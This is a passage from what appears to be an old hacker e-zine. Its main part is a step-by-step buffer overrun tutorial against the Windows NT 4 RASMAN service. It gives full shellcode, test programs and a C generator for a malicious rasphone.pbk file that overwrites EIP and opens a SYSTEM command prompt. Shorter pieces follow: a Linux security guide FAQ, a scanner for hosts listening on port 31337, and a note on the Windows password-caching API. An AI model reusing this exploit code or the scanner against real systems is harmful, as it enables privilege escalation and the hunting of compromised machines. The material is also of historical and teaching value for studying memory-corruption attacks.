amounts of memory. When a program is run NT creates a new process. It loads the program's instructions and the DLLs the program uses into the private address space and marks the pages it uses as read-only. Any attempt to modify pages in memory marked as read only will cause an Access Violation. The first thread is started and a stack is initialised. The Stack What's the simplest way to describe a stack? Try this: Imagine a carpenter. He has tools, materials and instructions. To be able to make something though they need a workbench. The stack is similar to this workbench. It is a place where he can use his tools to shape and model his raw materials. He can put something down on the workbench, say waiting for the glue to dry on two bits of wood and do something else. When that task is complete he can come back to his two bits of wood and continue with that. The workbench is where most of the work is done. So too, in a process, the stack is where most things are done. It is a writeable area of memory that dynamically shrinks and grows as is needed or determined by the program's execution. When a programatic task is started it'll place data on the stack, whether these be strings, memory addresses, integers or whatever, then manipulate them and when the task has completed it will return the stack to its original state so that the next task can use it if it needs to. Working in this way the process interacts with the stack using a method known as Last In, First Out or LIFO. There are two registers that are crucial to the stack's functionality - they are used by the program to keep track of where data can be found in memory. These two registers are the ESP and the EBP. The ESP, or the Stack Pointer points to the top of the stack. The ESP contains the memory address where the top of the stack can be found. The ESP can be changed in a number of ways both indirectly and directly.When something is PUSHed onto the stack the ESP increases accordingly. When something is POPed off of the stack the ESP shrinks. The PUSH and POP operations modify the ESP indirectly. But then you can manipulate the ESP directly, with say an instruction of "SUB esp,04h" which pushes the stack out by four bytes or one word. For those that haven't yet been numbed into boardem, something may just have irked: how is it that you SUBtract 4 from the ESP and yet the ESP is pushed out? Well this is because the stack works backwards. The bottom of the stack uses a memory address higher than the top of the stack: ----------------0x12121212 Top of the stack ... ... ----------------0x121212FF Bottom of the stack Here we have definitive proof that the fathers of modern computing were indeed closet sadists or had shares in makers of paracetamol - occasionally they throw in gems like this to make that headache that bit more acute. When we say the stack increases in size the address held in the ESP decreases. Conversly when the stack size decreases the address held in the ESP increases. Reaching for the Asprin yet? Our second stack related register is known as the EBP or the Base Pointer. The EBP holds then memory address of the bottom of the stack - more accurately it points to a base point in the stack that we can use a reference point within a given programatic task. The EBP must have meaning to a given task and to facilitate this before the task's real business is started a setup procedure known as the "procedure prologue" is first completed. What this does is, firstly, save the current EBP by PUSHing it onto the stack. This is so that the processor and program will know where to pick up from after the currently executing task has completed. The ESP is then copied into the EBP thus creating a new Base Pointer that the currently executing task can use as a reference point irrespective of how the ESP changes during the task's execution. Continuing with this let's say an 11 character string was placed onto the stack - our EBP remains the same but the ESP has been pushed out by 12 bytes. Then say an address was PUSHed onto the stack - our ESP is pushed out by another 4 bytes, though our EBP still remains the same. Now let's say we needed to reference the 11 byte string - we can do this by using our EBP: we know the first byte of our string (the pointer to the string) is twelve bytes away from the EBP so we can reference this string's pointer by saying,"the address found at EBP minus 12". (Remember the stack goes from a higher address to a lower address) RASMAN and buffer overruns. Finding the buffer overrun The first thing you need to do to be able to exploit a buffer overrun is to a) know about an existing one or b) find your own one. In the case of RASMAN, the overrun was found by looking at the RAS functions and the structures the used. Notice that some of the functions, such as RasGetDialParams ( ), fill structures that contain characters arrays, much like char name[31] character array in the C code above. By playing around with rasphone.pbk file, the RAS Phone Book, where dialing details, such as the phone number to be dialed, are stored, you can root out these overruns. Make a phone book entry called "Internet", which dials into your ISP, dial it, and downloaded your mails. This is important as this adds to the Registry an entry for the domain name of your mail server as an Autodial location. That is, if you try to contact your mail server, from that point on, without being dialed into the Internet, the Connection manager would kick in and automatically dial for you. RASMAN is the process that handles this functionality. Once you have done this change the telephone number to a long string of As and then attempted to connect to your mail server, say, by opening Outlook Express. This causes RASMAN to read in from rasphone.pbk the telephone number to dial to be able to get to your mail server. But instead of the real telephone number the long string of As is read instead and fills a character array in the RAS_DIAL_PARAMS structure which overflows causing an Access Violation - at address 0x41414141. We've found a buffer overrun and, more exciting, overwritten the EIP. Finding where the EIP is overwritten By experimenting with the length of the "telephone number" we find that we overwrite the EIP with bytes 296,297,298 and 299 of our string. (You'll find that, if you are actually following this, you'll need to reboot the system after the overflow to be able to restart the service, and you'll have to end tasks such as AthenaWindow and msmin.exe.) Once we have found where we overwrite the EIP it is time to get out the debugger - the debugging capabilities of Visual C++ are very good. Attach to the RASMAN process and then get it to dial - or attempt to at least. Wait for the access violation. Analyze what's going on. Once the access violation has occured we need to look at the stack and the state of the CPU's registers. From this we can see that we also overwrite the EBP, which will come in handy later on and that the address of the first A of our "telephone number" is 0x015DF105. By getting RASMAN to access violate a number of times we find that the first A is always written to this address. This is the address we're going to set the EIP to so that the processor will look at that address for the next instrution to execute. We'll stuff the "telephone number" full of our own opcodes that will get RASMAN to do what we want it to do - our arbitary code. We then need to ask, "What do we want it to do?". Where do you want to go today? - What do you want to acheive? The best thing to do, as we need to be at the console to get this to work, is get RASMAN to open up a Command Prompt. From here we can run any program we want with system privileges. The easiest way to get a program to run a Command Prompt, or any other program for that matter is to use the system ( ) function. When the system ( ) function is called it looks at the value of the ComSpec environment variable, normally "c:\winnt\system32\cmd.exe" on Windows NT and executes that with a "/C" switch. The function passes cmd.exe a command to run and the "/C" switch tells cmd.exe to exit after the command has finished executing. If we pass "cmd.exe" as the command - system("cmd.exe"); - this will cause the system function to open up cmd.exe with the "/C" switch and execute cmd.exe - so we are running two instances of the command interpreter - however the second one won't exit until we tell it to ( and nor will the first until the second one has exited.) Rather than the placing the opcodes that actually form the system ( ) function in our exploit string it would be easier to simply call it. When you call a function you tell the program to go to a certain DLL that contains the code for the function you are calling. The use of DLLs means that programs can be smaller in size - rather than each program containing the necessary code for each function used they can call a shared DLL that does contain the code. DLLs are said to export functions - that is the DLL provides an address where a function can be found. The DLL also has a base address so the system knows where to find that DLL. When a DLL is loaded into a process' address space it will always be found at that base address and the functions it exports can then be found at an entry point within the base. The system ( ) function is exported msvcrt.dll (the Microsoft Visual C++ Runtime library) which has base address of 0x78000000 and system ( ) entry point can be found at 000208C3 (in version 5.00.7303 of msvcrt.dll anyway) meaning that the address of the system ( ) function is 0x780208C3. Hopefully msvcrt.dll will already be loaded into RASMAN's address space - if it isn't we'll need to use LoadLibrary ( ) and GetProcAddress ( ). Fortunately RASMAN does use msvcrt.dll and so it is already in the process address space. This makes the job of exploiting the buffer overrun very easy indeed - we'll simply build a stack with our string of the command to run (cmd.exe) and and call it. What makes it even better is that the address 0x780208C3 has no nulls (00) in it. Nulls can really complicate issues. To find out what the stack needs to look like when a normal program calls system("cmd.exe"); we need to write one that does and debug it. We'll need to get our arbitary code to build a duplicate image of the stack as it appears in our program just before system ( ) is called. Below is the source of our program. Compile and link it with kernel32.lib then run and debug it. #include #include typedef void (*MYPROC)(LPTSTR); int main() { HINSTANCE LibHandle; MYPROC ProcAdd; char dllbuf[11] = "msvcrt.dll"; char sysbuf[7] = "system"; char cmdbuf[8] = "cmd.exe"; LibHandle = LoadLibrary(dllbuf); ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf); (ProcAdd) (cmdbuf); return 0; } On debugging and examining the stack prior to calling system ( ) [(ProcAdd)(cmdbuf); in the above code] we see that starting from the top of the stack we find the address of the "c" of cmd.exe, then the address of where the system ( ) function can be found, the null terminated cmd.exe string and a few other things that are too important. So to emulate this we need the null terminated "cmd.exe"string in the stack, then the address of the system function and then the address which points to our "cmd.exe" string. Below is a picture of what we need the stack to look like before calling system ( ) -------------------- ESP (Top of the Stack) XX -------------------- XX -------------------- XX -------------------- XX -------------------- C3 -------------------- 08 -------------------- 02 -------------------- 78 -------------------- 63 c -------------------- 6D m -------------------- 64 d -------------------- 2E . -------------------- 65 e -------------------- 78 x -------------------- 65 e -------------------- 00 -------------------- EBP (Bottom of the stack) where the top 4 XXs are the address of "c". We don't need to hardcode this address into our exploit string because we can use the EBP as a reference - remember it is the base pointer. Later on you'll see that we load the address where the first byte of our cmd.exe string can be found into a register using the EBP as a reference point. Writing the Assembly. This is what we need the stack to look like when we call system ( ). How do we get it there? We have to build it ourselves with our opcodes - we can't just put it in our exploit string because as you can see there are nulls in it and we can't have nulls. Because we have to build it this is where knowing at least a little assembly language comes in handy. The first thing we need to do is set the ESP to an address we can use for our stack. (Remember the ESP points to the top of the stack.) To do this we use: mov esp, ebp This moves the EBP into the ESP - rember we overwrite the EBP as well as the EIP which is really handy. We'll overwrite the EBP with an address we know we can write to - we will use 0x015DF124. Consequently the ESP, after we move the EBP into it, the top of the stack will be found at 0x015DF124. We then want to push EBP onto the stack. This is our return address. push ebp This has the effect of pushing the ESP down 4 bytes and so ESP is now 0x015DF120. After this we then want to move the ESP into the EBP: mov ebp,esp This completes our own procedure prologue. With this done we can go about building the stack the way we want it to look The next thing we need to do is get some nulls onto the stack. We need some nulls because we need to have our cmd.exe string terminated with a null. Even though the cmd.exe string isn't there yet it will be but we have to do things in reverse order. Before we can push some nulls onto the stack we need to make some. We do this by xoring a register with itself- we'll use the EDI register. xor edi,edi This will set the EDI to 00000000 and then we push it onto the stack using push edi This also has the added effect of pushing out our ESP to 0x015DF11C. But "cmd.exe" is 7 bytes long and we only have room for 4 bytes so far and don't forget we need a null tacked on the end of our string so we need to push the ESP out another 4 bytes to give us a total of 8 bytes of space between the ESP and the EBP. We could push the edi again, but for varitey we'll just sub the ESP by 4. sub esp,04h Our ESP is now 0x015DF118 and our EBP is 0x015DF120. Our next job is to get cmd.exe written to the stack. To do this we'll use the EBP as a reference point and move 63, the hex value for a small "c" into the address offset from the EBP minus 8. mov byte ptr [ebp-08h],63h We do the same for the "m", the "d", the ".", the first"e", the "x" and the final "e". mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h Our stack now looks like this: ----------------------------------------------------- ESP 63 c ----------------------------------------------------- 6D m ----------------------------------------------------- 64 d ----------------------------------------------------- 2E . ----------------------------------------------------- 65 e ----------------------------------------------------- 78 x ----------------------------------------------------- 65 e ----------------------------------------------------- 00 ----------------------------------------------------- EBP All that we need to do now is put the address of system( ) onto the stack and the pointer to our cmd.exe string on top of that - once that is done we'll call the system ( ) function. We know that the system( ) function is exported at address 0x780208C3 so we'll move this into a register and then push it onto the stack: mov eax, 0x780208C3 push eax We then want to put the address of the "c" of our "cmd.exe" string onto the stack. We know that the "c" can be found eight bytes away from our EBP so we'll load the address 8 bytes less than the EBP into a register: lea eax,[ebp-08h] The EAX register now holds the address where our cmd.exe string begins. We then want to push this onto the stack: push eax With this done our stack is built and we are ready to call system ( ) but we don't call it directly - again we use the indirection of using our EBP as a reference point and call address found at EBP minus 12 (or 0C in hex): call dword ptr [ebp-0ch] Here is all our code strung together. mov esp,ebp push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov byte ptr [ebp-08h],63h mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h mov eax, 0x780208C3 push eax lea eax,[ebp-08h] push eax call dword ptr [ebp-0ch] The next thing to do is test this assembly to see if it works so we need to write a program that uses the __asm ( ) function. The __asm ( ) function takes Assembly language and incorporates it into a C program. As we are calling system ( ) which is exported by msvcrt.dll we'll need to load that- we use the LoadLibrary ( ) function to do this - otherwise when run our code would fail: #include #include void main() { LoadLibrary("msvcrt.dll"); __asm { mov esp,ebp push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov byte ptr [ebp-08h],63h mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h mov eax, 0x780208C3 push eax lea eax,[ebp-08h] push eax call dword ptr [ebp-0ch] } } compile and link with kernel32.lib. When run this should start a new instance of the Command Interperter, cmd.exe. There will be an access violation however when you exit that instance in the program though - we've messed around with the stack and haven't clean up after ourselves. That's it then - that's our arbritary code and all we need to do now is put this into the rasphone.pbk file as our telephone number. Before we can do that though, we need to get the op-codes for the above assembly. This is relatively easy - just debug the program you've just compiled and get the opcodes from there. You should get "8B E5" for "mov esp,ebp" and "55" for "push ebp" etc etc. Once we have all the opcodes we need to put these in our "telephone number". But we can't type the opcodes very easily in Notepad. The easiest thing to do is write another program that creates a rasphone.pbk file with the telephone number loaded with our arbitary code. Below is an example of such a program with comments: /* This program produces a rasphone.pbk file that will cause and exploit a buff er overrun in */ /* RASMAN.EXE - it will drop the user into a Command Prompt started by the sys tem. */ /* It operates by re-writing the EIP and pointing it back into our exploit stri ng which calls */ /* the system() function exported at address 0x780208C3 by msvcrt.dll (ver 5.00 .7303) on */ /* NT Server 4 (SP3 & 4). Look at the version of msvcrt.dll and change buffer[1 09] to buffer[112]*/ /* in this code to suit your version. msvcrt.dll is already loaded in memory - it is used by */ /* RASMAN.exe. Developed by David Litchfield (mnemonix@globalnet.co.uk ) */ #include #include int main (int argc, char *argv[]) { FILE *fd; int count=0; char buffer[1024]; /* Make room for our stack so we are not overwriting anything we haven' t */ /* already overwritten. Fill this space with nops */ while (count < 37) { buffer[count]=0x90; count ++; } /* Our code starts at buffer[37] - we point our EIP to here @ address 0 x015DF126 */ /* We build our own little stack here */ /* mov esp,ebp */ buffer[37]=0x8B; buffer[38]=0xE5; /*push ebp*/ buffer[39]=0x55; /* mov ebp,esp */ buffer[40]=0x8B; buffer[41]=0xEC; /* This completes our negotiation */ /* We need some nulls */ /* xor edi,edi */ buffer[42]=0x33; buffer[43]=0xFF; /* Now we begin placing stuff on our stack */ /* Ignore this NOP */ buffer[44]=0x90; /*push edi */ buffer[45]=0x57; /* sub esp,4 */ buffer[46]=0x83; buffer[47]=0xEC; buffer[48]=0x04; /* When the system() function is called you ask it to start a program o r command */ /* eg system("dir c:\\"); would give you a directory listing of the c d rive */ /* The system () function spawns whatever is defined as the COMSPEC en vironment */ /* variable - usually "c:\winnt\system32\cmd.exe" in NT with a "/c" par ameter - in */ /* other words after running the command the cmd.exe process will exit. However, running */ /* system ("cmd.exe") will cause the cmd.exe launched by the system fun ction to spawn */ /* another command prompt - one which won't go away on us. This is what we're going to do here*/ /* write c of cmd.exe to (EBP - 8) which happens to be the ESP */ /* mov byte ptr [ebp-08h],63h */ buffer[49]=0xC6; buffer[50]=0x45; buffer[51]=0xF8; buffer[52]=0x63; /* write the m to (EBP-7)*/ /* mov byte ptr [ebp-07h],6Dh */ buffer[53]=0xC6; buffer[54]=0x45; buffer[55]=0xF9; buffer[56]=0x6D; /* write the d to (EBP-6)*/ /* mov byte ptr [ebp-06h],64h */ buffer[57]=0xC6; buffer[58]=0x45; buffer[59]=0xFA; buffer[60]=0x64; /* write the . to (EBP-5)*/ /* mov byte ptr [ebp-05h],2Eh */ buffer[61]=0xC6; buffer[62]=0x45; buffer[63]=0xFB; buffer[64]=0x2E; /* write the first e to (EBP-4)*/ /* mov byte ptr [ebp-04h],65h */ buffer[65]=0xC6; buffer[66]=0x45; buffer[67]=0xFC; buffer[68]=0x65; /* write the x to (EBP-3)*/ /* mov byte ptr [ebp-03h],78h */ buffer[69]=0xC6; buffer[70]=0x45; buffer[71]=0xFD; buffer[72]=0x78; /*write the second e to (EBP-2)*/ /* mov byte ptr [ebp-02h],65h */ buffer[73]=0xC6; buffer[74]=0x45; buffer[75]=0xFE; buffer[76]=0x65; /* If the version of msvcrt.dll is 5.00.7303 system is exported at 0x78 0208C3 */ /* Use QuickView to get the entry point for system() if you have a diff erent */ /* version of msvcrt.dll and change these bytes accordingly */ /* mov eax, 0x780208C3 */ buffer[77]=0xB8; buffer[78]=0xC3; buffer[79]=0x08; buffer[80]=0x02; buffer[81]=0x78; /* Push this onto the stack */ /* push eax */ buffer[82]=0x50; /* now we load the address of our pointer to the cmd.exe string into EA X */ /* lea eax,[ebp-08h]*/ buffer[83]=0x8D; buffer[84]=0x45; buffer[85]=0xF8; /* and then push it onto the stack */ /*push eax*/ buffer[86]=0x50; /* now we call our system () function - all going well a command prompt will */ /* be started, the parent process being rasman.exe */ /*call dword ptr [ebp-0Ch] */ buffer[87]=0xFF; buffer[88]=0x55; buffer[89]=0xF4; /* fill to our EBP with nops */ count = 90; while (count < 291) { buffer[count]=0x90; count ++; } /* Re-write EBP */ buffer[291]=0x24; buffer[292]=0xF1; buffer[293]=0x5D; buffer[294]=0x01; /* Re-write EIP */ buffer[295]=0x26; buffer[296]=0xF1; buffer[297]=0x5D; buffer[298]=0x01; buffer[299]=0x00; buffer[300]=0x00; /* Print on the screen our exploit string */ printf("%s", buffer); /* Open and create a file called rasphone.pbk */ fd = fopen("rasphone.pbk", "w"); if(fd == NULL) { printf("Operation failed\n"); return 0; } else { fprintf(fd,"[Internet]\n"); fprintf(fd,"Phone Number="); fprintf(fd,"%s",buffer); fprintf(fd,"\n"); } return 0; } When compiled and run this program will create a rasphone.pbk file with one entry called Internet and a phone number loaded with our arbitary code. When RASMAN.EXE opens this file and it uses RasGetDialParams ( ) to get the relevant information and assigns it to a RAS_DIAL_PARAMS structure which contains the character arrays. As you'll have guessed we're overflowing the one that holds the telephone number. Now to test it all. Quite often when trying to exploit buffer overruns you don't get it right the first time - usually due to an oversight or something. The code in this document has been tested on NT Server 4 with SP 3, NT Server 4 with SP 4 and NT Workstation SP 3 all running on a Pentium processor and it works - that's not to say that it will run on your machine though. There could be a number of reasons why it might not, but that is up to you to find out. So any way, let's test it: To be able to get this to work take the following steps: 1) Make a backup copy of your real rasphone.pbk file and then delete the original. The NTFS permissions on this file by default give everybody the Change permission so there shouldn't be a problem with this. 2) Run rasphone (click on Start -> Run -> type rasphone -> OK). You should get a message saying that the phone book is empty and click OK to create a new one. 3) Click OK and make a new entry calling it "Internet". Put in the relevant information needed to be able to dial into your ISP. Once the entry is complete dial it. 4) Once connected open Outlook Express and download your e-mails. The reason for doing this is because this will create a Registry entry for your mail server's domain name and associate it as an autodialable address. If Outlook Express' connection is dial up change it to a LAN connection - this'll be under the mail account's properties. 5) Hangup and close Outlook Express. 6) Copy the delete the new rasphone.pbk and replace it with your one made from the above code. 7) Open Outlook Express. Because your not connected to the Internet RASMAN should automatically dial for you, read in from the Registry the autodail information then open rasphone.pbk, fill its buffers and overflow. Within about eight seconds or so a Command Prompt window will open. This Command Prompt has SYSTEM privileges. That's it - we've exploited a buffer overrun and executed our arbitary code. ------------------------------ 3.01 --=\\Admin FAQ\\=-- 1.0 General questions 1.1 What is the LASG? It is a security guide aimed at Linux amdinistrators and users. 1.2 Why did you create the LASG? There is currently no generic Linux security documentation apart from the Security HOWTO which isn't terribly comprehensive (it does give a good overview however). Most Linux distributions come with some security documentation but it usually doesn't amount to more then 10 pages, and is very low level (use good passwords, etc.). So I decided to write such a document, and give it away for free so it would reach the largest possible audience (0.0.9 was downloaded over 25,000 times in the first 24 hours). 1.3 Why the restrictive license on the LASG? Because I don't want modified versions running (i.e. I want to maintain some revision sanity) around that may be incorrect (unintentionally or intentionally), it is also a document, not a piece of software, so it is subject to somewhat different laws of development/progression. If you don't like it, don't read it. 1.4 Why can't I get it as HTML/text/postscript/etc.? Because of reasons stated in 1.3, and because generating different formats would require a lot of overhead for my time, and the output can vary significantly (in the case of HTML or txt), as well post script cannot be read easily in Windows, and HTML will end up as an ugly mess of files once I start adding illustrations and pictures. PDF is the only language that allows me to format it nicely, and have it readable under as many OS's as possible. You can get the adobe acrobat viewer at: http://www.adobe.com/prodindex/acrobat/readstep.html And patches for xpdf are available from: http://www.foolabs.com/xpdf/ 1.5 Why is the head site https:// only? Practice what you preach. The mirror sites are of course not secure, this is something I am willing to live with since I don't have enough bandwidth to distribute the LASG from my site. 1.6 Where can I get the LASG? Current mirror sites as of 0.0.98 are: USA - http://www.freek.com/lasg/ USA - http://www.vadept.com/lasg/ USA - http://jezebel.rath.peachnet.edu/lasg/ USA - http://eeyore.cae.wisc.edu/lasg/ Germany - http://ftp.gwdg.de/lasg/ Denmark- http://sunsite.auc.dk/lasg/ Greece - http://linux.forthnet.gr/lasg/ Slovakia - http://www.sadman.sk/lasg/ Slovenia - http://www.camtp.uni-mb.si/lasg/ South Africa - http://www.lantic.net/lasg/ A current list is also available at: https://www.seifried.org/lasg/. A mailing list is available, send a blank meessage with the subject "subscribe" (no quotes) to lasg-announce-request@seifried.org, and you will receieve announcements of new version of the guide. 1.7 Will there be translations of the LASG / Can I translate the LASG? There won't be any translations for a while yet, the guide is changing to much to make it worthwhile, same goes for creating translations, please hold off until the LASG stabilizes. Of course I can't stop you, but any translations will be rendered obsolete rather quickly. 1.8 Can I contribute to the LASG? Yes, if you know of a software product or package I haven't listed please send me a URL, I hate searching the www. As for contributions of actuall writing and sections please do not send any as there is a lot of written work 'behind' the scenes that has not yet been folded into the LASG, and I hate to have people wasting their effort on something that has probably been done. The biggest source of help I find is good criticism, if the guide doesn't explain something clearly, or at all please tell me so I can fix or add it in. I am also not sure if I can accept sections of writing due to copyright concerns and legal liability. I would much prefer for now if the LASG is clearly the work of one person. If you have created a specific security document however and feel it is of value, send me the URL and I will list it gladly. 1.9 Will the LASG continue to be free? Definately yes. There is the possibility it will be published, but as any deal I would make to publish this guide (electronically, or physically as a book or CD) I will require that the LASG also be available online in a reasonable format free of charge for non commercial use (as it is now). 2.0 Mirroring the Guide 2.1 What software do I need? You will need rsync, available with most distributions either as a core package or a contrib package. If you do not have it please download it from: http://rsync.samba.org/. Rsync runs on any UNIX platform. 2.2 How do I mirror it? The following command line will grab the contents of the lasg directory on my server and keep the local directory (/path/to/the/lasg/) exactly in synchron- ization with it. Running this command from a crontab once a day (minimum) or twice a day (maximum) is ideal. rsync -avz --delete ftp.seifried.org::lasg /path/to/the/lasg/ 2.3 URL requirements The url that where the LASG will reside must be in the form: http://blah.blah.blah/lasg/ I don't really care about the domain name, domain.nu or smelly.sock.seifried.org (I would prefer if it were reasonably short). I do not want ftp mirrors at this time as the guide is relatively small. 2.4 Mirroring requirements You must grab the guide at least once a day, and the site hosting it must be up 24/7, and have a T1 or greater (the LASG is almost 300k and still growing). You will need to send me the IP address of the machine so that I can add it to the access list, note this doesn't need to be the same machine actually hosting it (in case you have some strange network setup). 3.0 Viewing secured webpages (https://) 3.1 Netscape problems and fixes Netscape navigator/communicator version 4.0 and beyond will view secure web pages without any problems. Version prior to 4.0 have an older (invalid) set of certificates installed that are no longer in use by Thawte. To install the new Thawte certificates please go to this page, it descrives in detail how to install the new certificates. Netscape navigator/communicator prior to version 3.0 will probably not be able to view the site correctly, and in any case you should upgrade since there are significant problems with them. 3.2 Lynx problems and fixes Most Linux distributions ship with Lynx, unfortunately very few (almost none) ship with an SSL enabled version of Lynx. You will not be able to view any secure webpages until your upgrade Lynx. SSL enabled Lynx is available from ftp.replay.com as source, rpm packages and so on. Once you have installed it you will be able to view secure web sites. 3.3 MSIE problems and fixes Microsoft Internet Explorer version 4.0 and beyond (with the exception of the Mac version) will view secure web pages without any problems. Versions prior to 4.0 will have an older (invalid) set of certificates installed that are no longer in use by Thawte. To install the new Thawte certificates please go to this page, it descrives in detail how to install the new certificates. If you are running MSIE 4.0 for the Mac please go to this page as it will describe how to remove the old (invalid) set of certificates. Versions prior to 3.0 will probably not be able to view the site correctly, and in any case you should upgrade since there are significant problems with them. ------------------------------ 3.02 --=\\csscan.c.txt\\=-- /* csscan.c by, EazyMoney how to work thi$: csscan [output] */ #include #include #include #include #include #include #include #include #include void usage(char *); void printheader(void); void testhost(char *); FILE *of; int main(int argc, char *argv[]) { FILE *fp; char host[1024]; int c; c = 0; printf("\npscan: csscan.c by EazyMoney\n"); printf("-------------------------------------\n\n"); if(argc < 2){ usage(argv[0]); return 0; } if(argc == 3){ of = fopen(argv[2], "w"); printheader(); } else { of = stdout; /* werd and $tuff */ } if((fp = fopen(argv[1], "r")) == NULL){ printf("error: input does not exist make a damn input\n"); return 0; } printf("$canning port$"); while(fscanf(fp, "%s", &host) != EOF){ testhost(host); } printf("done $canning\n"); return 0; } void usage(char *progname) { printf("usage: %s [output]\n", progname); printf("\n\ninput: a li$t of host$/ip'$ to $can\n"); printf("output: $ave$ $can$\n\n\n"); } void printheader(void) { fprintf(of, "port$ open\n"); fprintf(of, "----------------------\n\n"); } void testhost(char *target) { struct sockaddr_in server; int sockfd, i; char version[256]; struct hostent *hp; printf("%s\n", target); if((hp=(struct hostent *)gethostbyname(target)) == NULL) { fprintf(of, "%s: put in a right ho$t dumb a$$\n", target); return; } sockfd = socket(AF_INET, SOCK_STREAM, 0); bzero(&server, sizeof(server)); server.sin_family = AF_INET; server.sin_port = htons(31337); memcpy((char *)&server.sin_addr, (char *)hp->h_addr, hp->h_length); if((connect(sockfd, (struct sockaddr *)&server, sizeof(server))) == -1){ fprintf(of, "%s: connect error\n"); return; } else { fprintf(of, "%s: open", target); } close(sockfd); return; } ------------------------------ 3.03 --=\\Secure Storage in Windows\\=-- Not long ago we discussed why you still see messages that describe yet another application that stores passwords in an insecure manner, in particular under Windows. The bottom line was that there are two common cases. The first one is where an application needs to authenticate a user again the password. In many of these cases the plaintext password can be replaced by a one way hash with little or no loss of functionality. The second case is that where an application requires the password to authenticate itself against a service on behalf of the user but without prompting them for the password after the first time. Several people mentioned that an application or agent could be created that can store securely these secrets for many applications. The user would then only need to authenticate itself once again this application or agent to allow any other applications running under its id to request their secrets. Although this system does not stop rouge applications (e.g. trojans, BackOrifice) from stealing the secrets, it does stop a whole range of vulnerabilities from doing so (e.g. javascript file stealing vulnerabilities, world-readable shares, etc). The Win32 API provides such service. Although in the past it was found that its encryption was rather weak Microsoft claims to have fixed it, no one else has claimed otherwise, and its better than nothing. (References: http://www.netsys.com/firewalls/firewalls-9512/0442.html http://www.geek-girl.com/bugtraq/1995_4/0138.html ). So here is a reminder to Windows application programs that you can use WNetCachePassword and WNetGetCachedPassword, which in some documentation MS calls the Master Password API. Aleph One / aleph1@underground.org http://underground.org/ ------------------------------ Please visit: http://www.thepoison.org/popup.html and click on our sponsor(s) please! Please go there and just take 2 seconds to click there because we have to pay the bills somehow. _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_| _| _|_| _| _| _| _|_|_|_| _| _| _| _| _| _| _| _| _| _| _| _|_| _| _|_| _| _| _| _| _| _| _| _| _| _| Antidote is an HNN Affiliate _| _| http://www.hackernews.com _| _| _| _|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_| All ASCII art is done by Lord Oak and permission is needed from him before using.